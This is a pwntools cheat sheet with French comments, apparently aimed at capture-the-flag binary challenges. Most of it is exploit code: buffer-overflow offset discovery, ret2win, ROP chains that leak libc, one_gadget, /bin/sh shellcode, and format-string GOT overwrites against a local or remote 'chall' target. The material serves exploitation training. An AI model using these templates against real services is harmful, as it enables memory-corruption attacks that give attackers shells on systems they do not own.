pwntools

from pwn import *

context.binary = elf = ELF('./chall')
context.log_level = 'debug'

def start():
    if args.REMOTE:
        return remote('target.test', 1337)
    return process(elf.path)

io = start()
io.recvuntil(b'> ')
io.sendline(b'1')
io.interactive()

python3 exploit.py                # local
python3 exploit.py REMOTE         # remote
python3 exploit.py GDB            # attacher gdb

io.recv(1024)
io.recvuntil(b'password: ')
io.recvline()
io.sendafter(b'> ', b'admin')
io.sendlineafter(b'> ', b'admin')
io.send(b'raw')
io.sendline(b'line')
io.interactive()
io.close()

# Générer un motif cyclique
payload = cyclic(200)
io.sendline(payload)

# Après crash, retrouver l'offset
offset = cyclic_find(0x6161616c)
print(offset)

# Padding jusqu'à RIP
payload = b'A' * offset
payload += p64(elf.symbols['win'])
io.sendline(payload)

elf = ELF('./chall')
libc = ELF('./libc.so.6')

print(hex(elf.symbols['main']))
print(hex(elf.got['puts']))
print(hex(elf.plt['puts']))

rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
io.sendline(flat({offset: rop.chain()}))

# Fuite puis calcul de la base libc
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

# one_gadget
from pwn import *
libc = ELF('./libc.so.6')
one = 0xE3B31  # ./one_gadget libc.so.6
payload = flat({offset: libc.address + one})

# Payload execve("/bin/sh", 0, 0)
shellcode = asm(shellcraft.sh())
payload = shellcode
payload = shellcode.ljust(offset, b'\x90') + p64(buffer_addr)

# Contexte 32/64 bits
context.arch = 'amd64'
context.os = 'linux'
print(disasm(asm('mov rax, 60; xor rdi, rdi; syscall')))

# Offset de la chaîne sur la stack
offset = 6

# Écrire une valeur arbitraire (pwntools gère l'alignement)
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})
io.sendline(payload)

# Attacher gdb au process
io = process(elf.path)
gdb.attach(io, gdbscript='b *main+42\nc')

# Core dump automatique
context.delete_corefiles = True